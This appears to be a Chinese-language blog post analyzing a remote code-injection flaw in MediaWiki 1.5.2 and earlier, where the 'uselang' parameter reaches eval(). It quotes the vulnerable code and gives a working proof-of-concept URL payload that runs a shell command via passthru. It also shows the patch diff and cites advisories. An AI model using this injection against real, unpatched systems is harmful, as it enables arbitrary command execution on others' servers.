mediawiki 1.5.2 and prior

2005-12-19 03:01

mediawiki 是一套輕便的 wiki 系統
很多人用它來當網路上的筆記本

其 1.5.2 (含) 版本以前 ,
在 includes/Setup.php 中有一個 vulnerability .

相關的 source code 如下 :

$wgLanguageCode = $wgRequest->getText('uselang', '');
$wgContLanguageCode = $wgLanguageCode;
$wgContLangClass = 'Language' . str_replace( '-', '_', ucfirst( $wgContLanguageCode ) );
$wgContLang = setupLangObj( $wgContLangClass );
function setupLangObj($langclass) {
    if( ! class_exists( $langclass ) ) {
    # Default to English/UTF-8
    $baseclass = 'LanguageUtf8';
    require_once( "$IP/languages/$baseclass.php" );
    $lc = strtolower(substr($langclass, 8));
    $snip = "
        class $langclass extends $baseclass {
            function getVariants() {
                return array(\"$lc\");
            }
        }";
    eval($snip);
    }
    $lang = new $langclass();
    return $lang;
}

其中 , 取得 uselang 這個參數後並未作詳細的檢查 , 在後面就帶入 eval( ) 去執行 ,
於是就可以來玩填字遊戲 -

想辦法把

class $langclass extends $baseclass { function getVariants() { return array(\”$lc\”);}

填成一段完整的 php code , 就可以任意執行指令了.

ex : 跑個 df 試試 ....

uselang=Ox%20{};passthru('/bin/df');echo%20′finished.';exit;class%20Ox


Patch :

觀察 mediawiki 1.5.2 和 1.5.3 的 Setup.php 可以發現
170d169
<
221c220
< if( empty( $wgLanguageCode ) || preg_match( '/^[^a-z-]*$/', $wgLanguageCode ) ) {
---
> if( empty( $wgLanguageCode ) || !preg_match( ‘/^[a-z]+(-[a-z]+)?$/', $wgLanguageCode ) ) {

如此若 uselang 中有奇怪的字元 , 就會將它設回預設值了.


Reference -

http://secunia.com/advisories/17866/
http://www.frsirt.com/english/advisories/2005/2726
http://www.kb.cert.org/vuls/id/392156



Vulnerability 類別的文章 :
Open Webmail 2.20, 2.21 and 2.30phpBB <= 2.0.10

新增留言

*

*

Trackback this post  |  訂閱這則留言的 RSS Feed


各分類文章

最近的 20 篇文章